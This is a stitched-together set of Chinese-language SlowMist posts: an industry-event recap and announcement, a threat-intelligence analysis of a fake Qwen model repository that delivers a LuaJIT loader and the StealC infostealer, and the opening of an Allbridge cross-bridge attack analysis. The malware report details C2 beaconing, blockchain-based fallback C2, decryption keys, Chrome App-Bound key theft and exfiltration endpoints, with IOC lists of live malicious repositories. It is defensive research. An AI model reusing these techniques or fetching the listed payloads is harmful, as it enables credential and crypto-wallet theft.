例如，慢雾反洗钱 KYT 系统面向机构合规场景，提供交易风险筛查能力，帮助识别高风险交易及潜在合规风险；MistTrack 聚焦链上资产风险分析与资金追踪，可用于地址标签查询、资金风险分析、链上监控及追踪溯源，帮助梳理资金来源、去向及关联风险；MistEye 则围绕 Web3 威胁情报与动态安全检测，帮助识别恶意域名、钓鱼网站等潜在威胁，及时发现可能的攻击入口。
日常风险监测之外，项目方和机构还需要在业务上线前、代码变更后等关键节点进行安全验证。慢雾的安全审计、红队测试等服务，可以从代码安全、系统安全和实际攻击路径等不同角度进行验证，发现潜在问题，帮助项目在风险真正演变成安全事件之前完成修复。
很多安全风险并不是突然出现的。真正值得警惕的，是那些已经暴露、已经被讨论，却仍然没有得到解决的问题。对于个人和机构而言，只有把风险识别、持续监测和安全验证落实到日常的资产与业务管理中，才能在风险真正造成损失之前，尽可能发现并解决这些“灰犀牛”。

8 月 28 日，慢雾(SlowMist) 携手 ME Group 举办「穿越迷雾，走向可信支付｜全球稳定币合规与智能体支付新前沿」行业交流活动，并参与了「Cypher Asia 智能加密金融峰会」、「AI x BTC - BTC Asia Side Event」等多场行业交流，围绕稳定币合规与支付应用、加密安全及数字经济基础设施等议题，与行业伙伴分享实践经验与安全观点。
现在，让我们一起回顾当天的精彩内容——
聚焦稳定币合规与智能体支付，探讨可信支付建设
由慢雾(SlowMist) 与 ME Group 联合举办的「穿越迷雾，走向可信支付｜全球稳定币合规与智能体支付新前沿」聚焦稳定币与 AI Agent 支付场景，现场汇聚来自稳定币、支付、AI Agent、合规与安全等领域的行业人士。通过主题分享与圆桌讨论，嘉宾们围绕合规要求、实际应用及 AI Agent 参与支付等话题展开交流，讨论技术落地过程中面临的合规、安全及风险管理问题。
首场圆桌「稳定币走向真实世界——全球合规与应用新机遇」由慢雾(SlowMist) 香港社区负责人 Tony Tan 主持，OSL 集团首席商务官 Eugene Cheung、金杜律师事务所合伙人及香港大学法学院兼职副教授费思参与讨论。嘉宾们结合不同市场的监管环境与业务实践，分享了稳定币在支付、结算及资金管理等场景中的应用情况，并就机构业务落地、风险管理，以及如何将合规要求落实到实际业务流程展开讨论。
随后，慢雾(SlowMist) 合伙人兼 CPO Keywolf 带来「SlowMist KYT 代理商计划，携手共建全球领先的加密资产合规生态」主题演讲，并正式发布 MistTrack & SlowMist KYT 合作伙伴计划。该计划面向拥有 Web3、金融、支付、合规、安全及本地市场资源的个人与机构伙伴开放合作，通过连接不同地区的行业资源，为机构提供链上 AML、KYT 及资金风险分析能力。关于该计划的更多信息，慢雾(SlowMist) 将陆续对外公布。
第二场圆桌「支付的下一站——AI、稳定币与全球资金流动」聚焦 AI Agent 与支付场景，由 Tony Tan 主持，来自 Aegis、Kite、智推时代新加坡公司及 Selat AI 的嘉宾参与讨论。嘉宾们围绕 AI Agent 参与支付后的身份识别、权限管理及操作边界等问题展开交流，并指出对于涉及资产转移的关键操作，安全机制应前置到基础设施和系统架构中，以降低自动化执行可能带来的风险。
在 Open Mic 环节，Chris、Jerry Li、Lucy 等嘉宾也参与交流，结合自身经历分享对行业发展的观察与见解。
最后，现场进入自由交流时间，与会嘉宾和行业伙伴围绕活动议题继续交换看法，在轻松开放的氛围中展开面对面的交流。
从“黑天鹅”到“灰犀牛”，Cos 分享加密安全风险
当天下午，慢雾(SlowMist) 创始人 Cos 受邀出席「Cypher Asia 智能加密金融峰会」，发表「加密世界里的灰犀牛与黑天鹅」主题演讲。
Cos 围绕资金被盗、被骗、丢失及被冻结等常见问题，结合实际安全事件，梳理了个人与机构在资产管理中容易忽视的风险。对于个人用户而言，助记词或私钥的存储方式、假冒应用、钓鱼与社工攻击，以及供应链投毒等，都可能成为资产被盗的入口；对于机构而言，除个人层面的安全风险外，资金与业务链路、人员与权限关系，以及多签等安全机制中的薄弱环节，同样值得关注。
Cos 指出，许多看似突发的「黑天鹅」事件，实际上是早已存在却被忽视的「灰犀牛」。面对不断变化的攻击手段，安全防护需要从人到代码保持警惕，默认怀疑一切，并通过持续验证降低风险。AI 及行业成熟工具也可以进一步提升风险识别与防护能力。关于本次演讲的详细 PPT 及分享内容，慢雾(SlowMist) 将在后续文章中进一步整理发布，敬请关注。
AI 与比特币生态发展，安全能力需要融入基础设施
在 OP_CAT Layer 主办的 AI x BTC - BTC Asia Side Event 中，慢雾(SlowMist) 合伙人& CPO Keywolf 参与「Shaping the Future of Digital Economies」圆桌讨论，与 K24 Ventures 创始人 Patrick、IEEE Blockchain 主席 Ming、万向区块链 VP Duyu、数码港区块链总监 Rachel 及 Blockin Ventures 创始人 Sophie，共同讨论未来十年数字经济基础设施的发展需求。
讨论围绕 AI、比特币及数字资产应用展开。Keywolf 表示，无论是 AI Agent 的自主交易，还是比特币生态中的新型应用，都需要建立清晰、可验证的信任机制。随着更多资产和业务进入链上，安全能力也需要融入协议、产品和治理体系，而不是在产品上线后再作为补充环节考虑。
从合规应用到安全基础设施，慢雾持续关注行业安全需求
从稳定币合规与支付应用，到 AI Agent 交易安全、加密资产安全及数字经济基础设施，8 月 28 日的多场行业交流覆盖了 Web3 生态中的不同应用场景。随着数字资产、AI Agent 及链上业务进入更多真实应用场景，安全与合规也成为产品设计、业务流程和基础设施建设中需要持续考虑的问题。
慢雾(SlowMist) 将继续从真实业务场景出发，关注稳定币、AI Agent、数字资产及链上基础设施发展中的新型安全需求，并通过安全研究、威胁情报、链上风险分析等能力，与全球行业伙伴探索更可靠的 Web3 安全实践。

背景
下载一个开源大模型，你担心的通常是它能否正常运行、权重是否真实。这一次，真正该担心的藏在别处：一个标着 27B 参数的仓库，交到你手里的却只有 487 KB——里面装的不是权重，而是窃密木马。
2026 年 8 月 20 日，GitHub 仓库 unburdened-jackinthebox365/qwen38-uncensored 向 assets/ 目录提交了一个名为 uncensored_qwen_v2.6.zip 的文件，共 487,153 字节。仓库把它包装得几乎无懈可击：首页宣称提供 Qwen 3.8 27B 的本地量化权重，README 强调完全离线运行、无遥测、数据不离开本机，每一句都正中本地模型用户的下怀。四天后，即 8 月 24 日，README 再次改动——下载按钮、正文里的下载链接，连同原本指向 Ollama 与 LM Studio 官网的两个外部链接，全部改指向同一个 ZIP 的 raw 地址。
至此，破绽已经明显。一个 27B 参数的 Q4_K_M 量化模型，落盘通常超过 16 GB，仓库自带的 bin/install.cjs 打印的提示也写着约 16.8 GB。实际交到手里的资产却只有 487 KB，解压后只有三个文件——Application.cmd、util.exe 和 cert.txt，没有任何 GGUF 权重。
我们据此判断，这是一个借 Qwen 名义分发文件的仿冒仓库，Qwen 官方项目并未被入侵。仓库里的 Node.js 安装脚本表面上实现了「写 Modelfile → 调用 ollama create」的流程，本次未做动态验证；仓库主要代码维持正常项目外观，恶意 ZIP 则作为 assets/ 中的下载资产提交。只检查常规源码而不解包下载资产，可能遗漏这条入口。
本文以静态证据为主，未运行任何样本。C2 请求用模拟主机数据复现，只读取响应并下载载荷，未执行下载内容，也未访问最终上传端点；文中对行为的描述，指代码里存在相应实现或调用路径，不代表这些操作已在真实主机上发生。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
本次事件中，MistEye 对诱饵仓库、下载资产及后续载荷完成静态分析，使用模拟主机信息复现 C2 请求并保存响应与下载证据，还原出多阶段投放链并提取网络与文件 IOC。8 月 26 日复检了 C2 存活与分发设施轮换情况，另对分布在 23 个仓库中的 29 份同类 ZIP 做了离线行为对比。相关 IOC 已接入 MistEye 威胁检测引擎。
以下为详细技术分析。
487 KB 下载包里的三个文件
Application.cmd 的全部内容是一条命令：
start util.exe cert.txt
算上换行符一共 25 字节。它没有解压模型，也没有调用 Ollama，只是让同目录下的 util.exe 去读取一个文本文件，控制权由此转交给 cert.txt 里的 Lua 脚本。压缩包内没有其他文件，这三个就是全部内容。
util.exe 有 759,808 字节，是改名后的 LuaJIT 2.1 解释器。LuaJIT 本身是被大量正规软件使用的 Lua 运行时。PE 里残留的 PDB 路径写着 D:\a\defold\...\luajit.pdb，指向 Defold 游戏引擎的打包产物。静态分析未在 util.exe 中发现不依赖脚本的恶意行为，该文件只负责执行同目录的混淆 Lua。
cert.txt 名字像证书，内容是 182,116 字节的单行 Lua。整份脚本没有一个换行，字符串全部拆成十进制转义和查表调用，直接阅读只能看到一片数字和短变量名。下面是文件开头的一小段，为方便阅读按语句折行，末尾以省略号截断：
前两个函数负责按索引取字符和重排顺序，第三行开始是被打散的字符串表。脚本里的几百个明文字符串都以这种形式存放，运行时才拼回原样。
风险入口因此不在所谓的模型程序上。压缩包提供的是一个通用解释器加一份文本，恶意逻辑全部落在 cert.txt 里。
C2 响应补全了后续投放链
离线解混淆之后，cert.txt 的结构清楚了。它维护一张几百项的字符串表，明文全部拆成数字转义，运行时再逐字节还原。脚本通过 LuaJIT FFI 解析并调用 VirtualAlloc、CreateThread 等 Windows API。
加载器自带编号 845。启动后它收集主机名、用户名、GUID 和系统版本，用 BitBlt 抓一张屏幕存成 BMP，再向 IP 定位接口请求一次地理位置，把这些内容拼成 multipart 请求 POST 给硬编码的 217[.]119[.]129[.]122。下面是我们照脚本重建后实际发出的请求：
路径里 /api/ 后面那串解码为客户端编号 517b7c5e5663656a057f。截屏放在 file 分部，以 BM 开头的正是 BMP 文件头；主机信息放在 data 分部，两者在同一个请求中。data 解码后是 computer=SIMULATED-PC&user=simulated-user&query=203.0.113.10 这样的模拟值，不对应任何真实主机。
服务端下发的任务按扩展名分头处理，覆盖内存中直接执行的载荷、独立程序、DLL 和脚本四类。一个加载器就能处理几乎所有常见载荷格式。脚本里还写了 Defender 排除、计划任务持久化和任务完成回传，这三项都位于条件分支，由服务端的 loader 配置和本地条件决定是否触发。本次取到的配置只开启了持久化，其余关闭。它们属于条件触发的功能，不代表真实主机上已经完成对应操作。
硬编码地址失效时，加载器还有一条备用路径。它会向 Polygon 链发起一次 eth_call，读取合约 0x1823A9a0Ec8e0C25dD957D0841e3D41a4474bAdc 上 selector 0x3bc5de30 的返回值，从中解析备用 C2，本次实测解出 194[.]48[.]248[.]94：
长度前缀 0x14 是 20，正好等于解出地址的字符数，两处互相印证。这段 hex 不必依赖我们的解码脚本，查一次 ASCII 表就能自行复核。脚本中配置的五个 RPC 端点里，三个返回了上面这段数据且逐字节一致，一个要求付费订阅，一个直接拒绝。把地址写进公链合约之后，更换服务器只需要发一笔交易；单独封禁当前备用 IP，不能阻止合约后续返回新的地址。
对照脚本修正请求格式后，845 的模拟 beacon 收到了 HTTP 200，1248 字节 JSON。
响应字段经过三层编码，解码方向为 Base64 → 小写 hex → 32 字节循环 XOR，XOR 密钥 ECe6VGLRJum2qYtl79OiOU7aHot7Zhbn 就写在脚本里。下面两段是同一份响应解码前与解码后的内容，各截前 56 个字符：
解出来是一份 loader 策略和一条任务：
pump 字段控制是否使用随机数据将落地文件扩展到服务端指定大小，当前任务中该开关关闭。
任务把一个叫 `tool.log` 的文件下载到 `%TEMP%\dist.lua` 并执行。这个文件 396,616 字节，通篇 ASCII 十六进制；hex 解码再 XOR，得到 198,308 字节的混淆 Lua。这是第二个加载器，编号 847，初始 C2 换成 `217[.]119[.]129[.]97`，混淆布局与 845 同构。用同样的模拟主机数据执行 847 加载器后，它向 `217[.]119[.]129[.]97` 发起 beacon，服务端返回了两条任务。
两条任务中，一条仍是 `tool.log`，另一条指向同一仓库的 `verb.log`，落地路径写成 `AppData\..\Local\Programs\Chromium\Application\Chromium.exe`。中间那个 `..` 把路径穿越到 LocalAppData，最终文件名伪装成 Chromium 浏览器主程序。
tool.log、verb.log 以及后续两个 PE 都来自 C2 响应与下载落盘，原始 ZIP 里并没有这些文件。ZIP 本身能证明的是加载器具备下载执行能力；保存的 C2 响应则显示，服务端在采集时刻向 loaderId 845 下发了后续下载任务。
verb.log 解出的 StealC 载荷
解包与加载
verb.log 3,089,408 字节，同样是 ASCII hex，变换链是 hex/XOR → 外层 PE → Base64URL/AES → 内层 PE。用同一把 XOR 密钥解开得到 1,544,704 字节的 64 位外层 PE，其资源段里的 Base64URL 文本解码为 797,728 字节的 AES-256-ECB 密文。密钥 bFYh8UMQGZOBUlvrpS3M4ZJybbubVbvg 由外层 PE 对两段常量数组推导得到、可静态还原，解密得到同样 797,728 字节的第二个 64 位 PE。
外层 PE 在自己的进程里手工映射内层 PE：分配内存、复制头和节区、修正重定位与导入表、创建线程并以入口点启动。静态调用链里没有 CreateProcess、WriteProcessMemory、SetThreadContext、ResumeThread 这类跨进程注入 API——整个过程是进程内反射式加载。
环境检查
内层载荷先检查环境：系统默认语言命中俄语、乌克兰语、白俄罗斯语、哈萨克语、乌兹别克语之一即退出；随后用主机信息拼出的命名 Event 做单实例控制，再校验内嵌的到期日期，全部通过后才进入主体逻辑。
采集目标
浏览器：Chrome、Edge、Brave 获取登录数据、Cookie、历史记录和相关数据库；Firefox 调用 NSS 接口解密保存的登录信息。数据库被锁时用 Restart Manager 结束占用进程。邮件与运维：Foxmail 与 Outlook 账户凭据、WinSCP 会话信息，其中 WinSCP 会话直接对应受害者能访问的服务器。Steam：登录配置、令牌和哨兵文件。
从 Chrome 127 开始，Cookie 和保存的密码由 App-Bound Encryption 保护，密钥托管在系统级服务里，只复制数据库文件拿不到明文。载荷为此内置一个辅助 PE，用 Early-bird APC 注入送进挂起的 chrome.exe、brave.exe 或 msedge.exe；辅助模块在浏览器进程内读取加密的 App-Bound Key，通过各浏览器对应的 COM Elevation 服务接口导出 32 字节明文密钥，让前面收集的数据库文件重新可读。
钱包采集完全由服务端驱动：递归采集器对 C2 下发的文件任务按类型分派，其中 wallets 分支按任务名和文件名查本地目录；C2 还能下发扩展 ID，采集对应 Chromium 扩展的存储与 IndexedDB。样本明文里没有钱包品牌名和安装路径，也没有 BIP39、secp256k1 这类助记词或私钥解析实现——采集哪个钱包由服务端下发任务时决定，静态样本列不出本轮目标清单。
上传与归因
载荷另含截屏、收集系统信息与进程列表、用 PowerShell 做二次下载执行、提权，以及退出时自删除等功能。
数据上传通过 512 KiB 分片的 JSON POST。上传端点在文件里以 RC4 加密后再 Base64 保存，用配置密钥 55uUe45tr1x1xy1lSK 解出来是 http[:]//89[.]169[.]12[.]194，请求体另用一把 RC4 密钥加密。
StealC 是一种专门窃取浏览器凭据、Cookie、加密钱包和其他敏感数据，并将其发送至攻击者 C2 的 Windows 信息窃取木马。内层载荷的收集范围、App-Bound 解密辅助、钱包分支和 RC4 加密上传等实现，都与 StealC 的已知特征一致，我们据此把它归为 StealC。
若这些材料被成功获取，造成的后果各不相同：浏览器 Cookie 对应已登录会话被接管，邮箱与 Steam 凭据对应账号损失，WinSCP 会话对应受害者运维的服务器；钱包私钥或助记词一旦外泄，资产转移无法回滚。
复检确认分发设施正在轮换
8 月 26 日，我们用同样的模拟主机数据把三段 beacon 重发一遍。三个端点均返回 HTTP 200，loader 策略字段一字未变。变化出现在任务里的下载地址。
vs.log 和旧的 tool.log 逐字节相同，只是改了名字，847 加载器没有变化。ssl.log 解码后是新版本的外层 PE，1,539,072 字节，入口地址和映像大小都变了，AES 密钥随之轮换成 yK8-eM8KFA8Hl8cCybERmOLZupFvfCNZ。
用新密钥解出的内层载荷仍是 797,728 字节。和旧版逐字节比对，整个文件只有一处差异，位于只读数据段，上报给服务端的构建号从 build5 改成 build1。上传端点、RC4 配置密钥和请求体密钥全部一致。
换仓库、换文件名、更新外层 PE、换 AES 密钥，这些动作使旧文件的精确哈希失效。稳定结构和行为特征是否仍可命中，需要由具体规则验证。窃密载荷本体在这两天里保持稳定，只改了一个版本标签；这是两个采集日之间的观察，不足以判断更长时间里是否保持不变。
更多恶意 GitHub 仓库
我们另外收集了分布在 23 个 GitHub 仓库中的 29 份恶意 ZIP 样本。初步检查显示，这些样本均使用 Lua 作为执行链的一部分，常见形式包括由 .cmd 或 .bat 启动器调用本地 LuaJIT 或改名后的解释器，并进一步执行同目录中的 Lua 脚本。相关仓库的诱饵主题覆盖 AI 模型与工具、MCP 服务、开发脚本和钱包项目等多个类别。
需要说明的是，目前并未对这 29 份样本逐一进行完整的代码还原和攻击链分析，因此现有证据只能确认它们均具有恶意行为并共同使用 Lua 技术栈，不能据此认定所有样本采用完全一致的混淆方式、执行流程、C2 基础设施或最终载荷。
总结
一个仿冒 Qwen 的 GitHub 仓库把下载入口指向 487 KB 的 ZIP，包内没有模型权重，只有一个 LuaJIT 解释器和一份混淆脚本。保存的 C2 响应关联到内层窃密载荷，我们把它归为 StealC。
风险涉及浏览器会话、邮件与运维凭据、Steam 令牌和钱包相关材料，前提是对应材料被成功获取。两次采集之间，分发仓库、文件名、外层 PE 和 AES 密钥已经变化，内层载荷则只有构建号中的一个字符不同；分布在 23 个仓库中的 29 份同类 ZIP 显示这套投放骨架已被批量复用，每个变体的完整后续链仍需逐样本确认。
建议
1.隔离并取证：主机命中本文列出的 ZIP、脚本哈希、C2 或下载 URL 时，先保存下载来源、进程树、网络连接日志和落地文件，再做清理。
2.检查主机改动：若发现启动器执行记录，或 LuaJIT、改名解释器加载大体积混淆文本的记录，应检查计划任务、Run 键、StartupApproved 项，并确认 Defender 排除列表里是否被加入了系统盘或 .exe、.dll 扩展名。
3.处置凭据：确认样本执行或发现相关落地载荷时，重置浏览器会话与保存的密码、邮箱账号、Steam 令牌和 WinSCP 会话凭据；主机上存过钱包私钥或助记词的，先把资产迁移到新地址，再处理主机本身。
4.增加组合检测：把「小型启动器 → 本地 LuaJIT 或改名的解释器 → 同目录大体积单行文本 → 发起 HTTP 请求或写入可执行内存」这一序列加入监控规则。这条链路借用的都是合法服务，判断应基于行为组合，并结合本文列出的精确恶意 URL，不对 GitHub Raw 或公共 Polygon RPC 做无差别封禁。
IOC
IP
217[.]119[.]129[.]122
194[.]48[.]248[.]94
217[.]119[.]129[.]97
89[.]169[.]12[.]194
URL
http[:]//217[.]119[.]129[.]122/api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y=
http[:]//217[.]119[.]129[.]97/api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y=
https[:]//raw[.]githubusercontent[.]com/unburdened-jackinthebox365/qwen38-uncensored/main/assets/uncensored_qwen_v2[.]6[.]zip

https[:]//github[.]com/Minaadelfouad64/tools/raw/refs/heads/main/verbose/tool[.]log

https[:]//github[.]com/Minaadelfouad64/tools/raw/refs/heads/main/verbose/verb[.]log
https[:]//github[.]com/fuhuhlatoogan/mtp/raw/refs/heads/main/p/vs[.]log
https[:]//github[.]com/fuhuhlatoogan/mtp/raw/refs/heads/main/p/ssl[.]log

恶意依赖

https[:]//github[.]com/unburdened-jackinthebox365/qwen38-uncensored

https[:]//github[.]com/Minaadelfouad64/tools

https[:]//github[.]com/fuhuhlatoogan/mtp

https[:]//github[.]com/0ogata0/qwen-php-client

https[:]//github[.]com/115th-discomfited211/Awesome-Harness-Engineering

https[:]//github[.]com/123affano1/claudetrack

https[:]//github[.]com/1sustgmboab/nexonco-mcp

https[:]//github[.]com/2josEx/claude-brain

https[:]//github[.]com/428alexander9/claude-skills-marketplace

https[:]//github[.]com/45d5r/databricks-mcp-server

https[:]//github[.]com/7ossamfarid/mcp-mindmesh

https[:]//github[.]com/Bean5789/bbd2api

https[:]//github[.]com/CleverPortal/CollabNote-Fullstack-App

https[:]//github[.]com/Juanvil9941/AI-Invoice-System

https[:]//github[.]com/Kalainilavann/takeout_downloader_script

https[:]//github[.]com/Prestonflatfooted659/Void-Tools-v2.0

https[:]//github[.]com/Walloperlioncub193/Canva-Resource

https[:]//github[.]com/archontelemetered604/clash-for-windows

https[:]//github[.]com/fantastic-interpolation620/ctx-wire

https[:]//github[.]com/mikenob39wang/phone-number-location-tracking-tool

https[:]//github[.]com/recognisable-riddance165/Portable-Offline-LLM

https[:]//github[.]com/sociologisttentcaterpillarmoth213/100xdev-ci-cd

https[:]//github[.]com/soldat-panther/qq-farm-cdp-auto

https[:]//github[.]com/thaddeusprobabilistic193/Xault-Wallet

https[:]//github[.]com/twelfth-puerperium297/tokenoptim

https[:]//github[.]com/wasila7220/multi-model-router

恶意文件

filename: uncensored_qwen_v2.6.zip
MD5: bf21a07ad5743d3ae9f55ff526428a0a
SHA1: 8e3391c17c3f4fb6f42594de7425df96dbbbc01e
SHA256: 36d0bac5743ed9c6858258f28f2c2f9161dc06c4d5af73eb7eda1211ea610758

filename: Application.cmd
MD5: 17d94f34b9d15449b03bc099a637782b
SHA1: eb474f898256e8e7baaf0d63b306d1169e637c73
SHA256: 7c4f3e09c6428d0a0d7d85615695f5fedb35bb4e7180d31e1f8a1bacf22e5639

filename: cert.txt
MD5: ccfc0f145861f23c6850c691c4be54b9
SHA1: b88ac887493f31cf9f160ddbc6bc3a2aa298a0ca
SHA256: a75561a3224d9f836058a6d0204ed2e6c1f638275a59495935cd2a5e46fd28ca

filename: tool.log,vs.log
MD5: 8063ba8ec896b52e5e6d435cc60e82f7
SHA1: f445bd4c5b65b7e013ec518f34f4cd64676201d2
SHA256: 7ebbb61733d8aefcf9401f00e8ff7e593c9f0edecb6609675aebd3eb78a5ae2d

filename: verb.log
MD5: 650a8ee5d091275040ae4dd02dcdd806
SHA1: 343d819ceb63c742912723c42fd158b82d0a90be
SHA256: 699af883d862d8949a494f69e2d300142ce506a0ac6c7a239193c111dfed241e

filename: inner-payload.aes256-ecb-decrypted.bin
MD5: 01e433263a7fd50e812195ff4c11cc90
SHA1: ea53a41c53181374cade8d69882bb1390f0c2562
SHA256: ec981c45d494896037583c746543490176c9ce9a1482e62c4e8ab189c2650b1c

filename: ssl.log
MD5: 9d11bce9c213924b53bcb986f07945c6
SHA1: 2abf1436933dc6b63a016661d5d16f1eda303b59
SHA256: 7b0d919bd510cbcc587cca4b74aad1e086fb1fc34882a39946e6db7d4361a746

filename: inner-payload.build1.bin
MD5: 370f95bf40a9c9fe852b2e4bdd95689f
SHA1: 219a0e7c3907bb65ef7db7428400745570d4e105
SHA256: 5d63f3dc9371d4496ca0e728a794151978e94b69ae4b3c705cea4e67cc6cf208

filename: client_qwen_php_v2.4.zip
SHA256: 073c6192ab4c2d5d25fc13acab4c216c96f9d5926064c534e3803bb31d527b28
filename: Engineering_Harness_Awesome_1.9.zip
SHA256: 0870fe8a4d9e64e335047e16ed1d6b0805beab9686495a1e8c247cf2e1a8e930

filename: Software_v1.6.zip
SHA256: 71b37b48f80106fc864be7e82481cd1a2f7decfeaf1dce45abb924d7f32da933

filename: nexonco-mcp-v3.0-alpha.1.zip
SHA256: a866d90d6f1dd82ddcd2cbef4f5550c77bb58dbda87c02eedb441a117b7d89b9

filename: claude-brain-v1.4-alpha.3.zip
SHA256: a271231ebf6174b11aeb3337c238abc0eac44b48b5fa8d2b168883601d8cc3a5

filename: brain_claude_2.2-alpha.1.zip
SHA256: ca4babb4444af81cf93b34436de7a4a3c8e1a93f6233bcc8753ddd868b4c9eaa

filename: claude-skills-marketplace_v3.4.zip
SHA256: 438033226b1bd1e26db8ab71a777e74cc90b5c31310139269fe8e52308f6c938

filename: skills-marketplace-claude-2.9.zip
SHA256: f07a4eadd43513f56ae4fdf6f6dfc966de17f06093c75c1dec0dd426668779f9

filename: server_databricks_mcp_1.6.zip
SHA256: 66afc7d87d10dbe392898c4e5c613e0442fabb396415c2bef3a5ef2ac752c5ad

filename: mindmesh_mcp_1.0-alpha.5.zip
SHA256: e8da8c82ccb1c6fd68e7c03187485d6ebbd07a4946a7f07cac54fef65b00d2bf

filename: bbd-api-3.1.zip
SHA256: 3524dc4a232c76067f8b2df9adf34ae1106dcc1528e5467c1abc285fc51d1e82

filename: Note-Collab-App-Fullstack-v3.6-alpha.5.zip
SHA256: 6f823d15658b07d6d90f292848fcdd30fe840f83d653cc34966e2fd61d9c3117

filename: Invoice_A_System_3.9.zip
SHA256: 8332d91619563e46e248f427cf489f8bd61a83124eb4c95749ce284b443a2803

filename: downloader-script-takeout-v1.1.zip
SHA256: 8412f2d2b47181f272b0c0e02fe619331e0c2c8d3b90f32e8ce08ac98aaec3f6

filename: downloader_takeout_script_v3.8.zip
SHA256: b781102c6ff857fb45089a6b3d30c5ebb7699ec7e8771bfa0039bef28de782bd

filename: takeout-downloader-script-galvanocauterization.zip
SHA256: 13dc7623c66d1fed51ae94b0d96e8ed45c93d893afabf9aceb4ef0a8da0243ee

filename: Void-v-Tools-v1.7.zip
SHA256: 841d0c25137f35b60d940705ab7b5dc3e9936f37e0561934e72c5dafe93466d8

filename: Resource-Canva-2.2.zip
SHA256: ac6a24d02209df94f56f67e7f3f19dc997f7a2625b91add1dd10cdec0a06d392

filename: for-clash-windows-3.2.zip
SHA256: 036062622f3a1fa2718afc91f8fe4edc693b757365dfc2c0958b70fe8c84c20d

filename: wire-ctx-2.6-alpha.1.zip
SHA256: db0640eb414a89bb62953f0aa7603557f3b8de515e7c3696156abc10f835ecef

filename: location-tracking-tool-phone-number-v3.3.zip
SHA256: 3fc5816afde3e58bf9fcaa1b3873f2d4bc8629ee7a8341a4a4979d2729cad5e6

filename: location_number_tracking_tool_phone_v2.5.zip
SHA256: 398ea394f9a4242ebe9fd67a5ca62445fc4a34b1731d4f99b8eea5e65a98ddcb

filename: tracking-tool-location-number-phone-3.2.zip
SHA256: b6e81d95c0c336e8b8bde3889f4df4ee17639f6ff055c631de19cab3c7efb63b

filename: Offline_LLM_Portable_v2.1-alpha.1.zip
SHA256: 1313b6cfb1ea43367fdd845f64526b4972a3a345bb8b13cef7ebb678d59b5f55

filename: ci_cd_xdev_v2.3-alpha.3.zip
SHA256: ed1ae6799ecb1fc7c5239c4ab95b3b9de9462f21219f144a25b91b6fd430a2c2

filename: farm-cdp-qq-auto-1.1.zip
SHA256: 6145aeacba6533e10dcea287d0fff64c48a790c58ae266ed18ea5d13c36d27ca

filename: v3.9.zip
SHA256: a0dd4924bec9bc077b1f98ddcb45b4e07b01e63ad703c2507d822b5b5130a077

filename: Software-Lithodes.zip
SHA256: 40c2b7b8dcfa6bfe0a199af9ea4baa00a4b8ecd73afa326702cdc4197d64bdef

filename: model-multi-router-v3.5-beta.1.zip
SHA256: 152929ae778e6ed9f358ca8590d2155e1a04137b109a5442891e1ba3fe1a7f82
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。

📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan
轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skills
AI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测
🛠️ MistEye-DNS-Guard：https://github.com/slowmist/MistEye-DNS-Guard
DNS 安全防护工具，检测恶意域名与风险访问，识别钓鱼、C2 等网络威胁
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI 驱动分析编写，有任何问题欢迎咨询反馈。
参考
[1]https://x.com/OpcodeIntel/status/2091578565628502324
[2]https://www.microsoft.com/en-us/security/blog/2026/06/24/stealc-and-amadey-breaking-down-infostealers-and-the-cybercrime-services-that-deliver-them/
[3]https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html

8 月 28 日，慢雾(SlowMist) 携手 ME Group 将在香港举办「穿越迷雾，走向可信支付｜全球稳定币合规与智能体支付新前沿」行业交流活动。
本次活动将汇聚来自稳定币、支付、AI Agent、合规及区块链安全等领域的行业嘉宾，围绕全球稳定币合规、智能体支付发展及可信支付体系建设展开交流，共同探索支付模式演进过程中的技术、安全与合规挑战。
时间：8 月 28 日 09:30 – 12:30
地点：香港 CAI Building
报名链接：https://luma.com/0c4fawzv
精彩议程
活动将设置圆桌讨论、主题分享及开放麦等环节，围绕「稳定币走向真实世界 —— 全球合规与应用新机遇」「支付的下一站 —— AI、稳定币与全球资金流动」两大圆桌主题，以及「SlowMist KYT 代理商计划：携手共建全球领先的加密资产合规生态」主题分享展开交流，邀请行业嘉宾分享实践经验与前沿观察。具体议程如下：
迈向可信支付的未来
稳定币正逐步进入更多真实支付与商业场景，AI Agent 也正在成为数字经济中的新型交易参与者。随着“人付款”逐步走向“Agent 付款”，支付体系将迎来新的演进，而安全、合规与信任也将成为这一进程中的重要基础。
8 月 28 日，慢雾(SlowMist) 将在香港 CAI Building 与行业伙伴现场交流，从稳定币合规到智能体支付，共同探索可信支付的新前沿。期待与大家现场见面！

作者：九九
编辑：77
背景
2026 年 8 月 19 日，知名跨链桥项目 Allbridge 遭到攻击，损失约 19 万美元。然而本次攻击却横跨接近一个月才完成，以下是慢雾安全团队针对此次攻击事件的具体分析：
前置知识
为了理解这次攻击，我们需要先理解 Circle 的 CCTP 协议和其跨链消息传递系统。
CCTP 是 Circle 的跨链转账协议。它的基本做法是，在源链销毁 USDC，在目标链重新铸造同等数量的 USDC。这样可以避免桥接合约凭空增加余额。
正常的 CCTP 转账通常按下面的步骤进行:
源链 TokenMessenger 销毁 USDC
-> Circle MessageTransmitter 认证并转发消息
-> 目标链 Circle TokenMessenger 接收消息
-> TokenMessenger 进行验证后铸造 USDC
-> 等 Router 看到真实到账后再把 USDC 转给用户
Circle 的 MessageTransmitterV2 是负责传递消息的合约。它会对完整消息出具 attestation，也就是 Circle 对指定的跨链消息进行签名证明。但是这个证明只能说明消息内容经过 Circle 认证，不能单独说明消息里写的金额已经真实发生转移。
